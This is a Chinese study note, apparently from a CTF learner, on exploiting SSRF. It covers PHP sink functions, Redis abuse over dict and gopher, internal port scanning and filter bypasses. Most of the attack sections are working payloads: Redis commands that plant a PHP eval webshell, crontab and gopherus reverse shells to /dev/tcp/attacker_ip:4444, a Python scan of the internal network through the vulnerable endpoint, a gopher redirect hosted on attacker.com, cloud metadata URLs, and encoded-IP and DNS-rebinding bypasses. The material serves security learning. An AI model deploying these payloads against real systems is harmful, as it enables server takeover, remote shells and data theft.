SSRF学习
一、SSRF漏洞深度解析
1.1 漏洞本质
攻击模型
攻击者
构造恶意URL
存在SSRF的服务端
发起内部请求
内网系统/本地文件
返回敏感数据
核心成因:服务端未对用户输入的URL进行 协议类型、目标地址、端口范围 三重校验。
1.2 高危函数(PHP)
函数 | 风险点 | 攻击示例 |
---|---|---|
file_get_contents() |
直接读取任意协议内容 | ?url=c |
curl_exec() |
支持Gopher等危险协议 | ?url=gopher://127.0.0.1:6379/_*1... |
fsockopen() |
原始TCP连接可构造任意数据包 | 发送Redis未授权访问命令 |
自己搭建环境测试一下这几个函数
file_get_contents()
直接读取一下文件看看
在根目录创建一个flag
读取一下
file_get_contents.php?url=file:///www/wwwroot/我的网站的名字/flag.txt
curl_exec()
这里不演示gopher的协议使用了就简单回访一下我博客园的主页
但是发现我博客园的显示不出来
还是用百度吧
curl_exec.php?url=www.baidu.com
fsockopen()
也是直接访问一手百度
fosockopen.php?url=www.baidu.com
二、redis理解和协议利用
2.1redis理解
一、Redis在SSRF攻击中的核心作用
1. 内网渗透跳板
Redis默认开放端口6379
且常无认证,通过SSRF可操控Redis执行高危操作
写入Webshell:修改Redis持久化路径至Web目录,写入恶意PHP文件
config set dir /var/www/html
config set dbfilename shell.php
set payload "<?php @eval($_POST['cmd']);?>"
save
计划任务反弹Shell:写入crontab定时任务执行反向连接
set task "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
2. 协议利用枢纽
dict协议:快速探测Redis服务状态
dict://127.0.0.1:6379/info
返回服务器配置、内存等敏感信息
gopher协议:发送任意格式的Redis命令(攻击主力)
# 使用gopherus生成攻击载荷
python gopherus.py --exploit redis -c "id > /tmp/pwned"
⚔️ 二、CTF中的典型攻击流程
关键步骤详解:
-
服务探测
利用SSRF发送
dict://target_ip:6379/info
,若返回
redis_version
则存在未授权访问
-
命令构造
原生协议格式:每条命令需满足
*<参数个数>\r\n$<参数长度>\r\n<参数>\r\n
*3\r\n$3\r\nSET\r\n$4\r\nkey1\r\n$5\r\nvalue\r\n
自动化工具:
- Gopherus:一键生成反弹Shell的gopher payload
- SSRFMap:内置Redis模块自动化攻击
-
绕过技巧
URL双重编码:规避WAF检测(如
%253A
代替:
)空白符利用:
%0d%0a 伪造协议分隔符
DNS重绑定:绕过IP黑名单限制
2.2基础协议利用
协议 | Payload格式 | 利用效果 |
---|---|---|
file:// |
file:///c:/windows/win.ini |
读取服务器敏感文件 |
dict:// |
dict://192.168.1.10:6379/info |
获取Redis/Memcached配置信息 |
http:// |
http://169.254.169.254/latest/meta-data |
云服务器元数据泄露(AWS/Azure) |
ftp:// |
ftp://attacker.com:21/evil.txt |
强制服务器下载恶意文件 |
2.3 高级协议攻击 - Gopher协议
Redis未授权访问攻击流程:
-
构造Redis命令:
flushall set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n" config set dir /var/spool/cron/ config set dbfilename root save
-
转换为Gopher格式:
python
# 使用gopherus工具生成 python gopherus.py --exploit redis -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
-
发起SSRF攻击:
http://vuln-site.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A...
三、内网渗透实战手法
3.1 内网资产探测
python
# Python自动化探测脚本示例
import requests
ports = [80, 443, 8080, 6379, 3306]
internal_ips = ["192.168.1.{}".format(i) for i in range(1,255)]
for ip in internal_ips:
for port in ports:
try:
url = f"http://vuln-site.com/ssrf.php?url=http://{ip}:{port}"
resp = requests.get(url, timeout=3)
if resp.status_code != 403: # 过滤防火墙拦截
print(f"[+] Found active: {ip}:{port} - {resp.text[:50]}")
except: pass
3.2 服务指纹识别
服务 | 特征路径 | 识别方式 |
---|---|---|
Jenkins | /login?from=%2F |
页面包含"Jenkins" |
Docker API | /_ping |
返回OK |
Kubernetes | /api/v1/namespaces |
返回JSON格式资源列表 |
四、高级绕过技术详解
4.1 协议层绕过
-
302跳转利用:
托管恶意跳转脚本于公网:
<?php header("Location: gopher://127.0.0.1:6379/_*1%0d%0a..."); ?>
请求:
http://vuln-site.com/ssrf.php?url=http://attacker.com/redirect.php
4.2 DNS层绕过
- DNS重绑定攻击:
- 注册域名
evil.com
,设置TTL=0 - 首次解析返回合法IP
1.1.1.1
- 第二次解析返回
127.0.0.1
工具:https://lock.cmpxchg8b.com/rebinder.html
- 注册域名
4.3 特殊编码绕过
类型 | 原始IP | 绕过形式 |
---|---|---|
十进制 | 127.0.0.1 | 2130706433 |
八进制 | 127.0.0.1 | 0177.0000.0000.0001 |
十六进制 | 127.0.0.1 | 0x7f.0x0.0x0.0x1 |
混合编码 | 192.168.1.1 | 0xc0.0xa8.0x1.0x1 |
五、SSRF漏洞检测工具链
-
被动扫描
- Burp Suite Collaborator
- DNSLog Platform(如ceye.io)
-
主动探测
# SSRFmap自动化利用 python ssrfmap.py -r req.txt -p url -m portscan # Gopherus攻击生成 python gopherus.py --exploit mysql -c "SELECT @@version"
-
流量分析
使用Wireshark过滤异常流量:
tcp.port == 6379 and ip.src == <server_ip>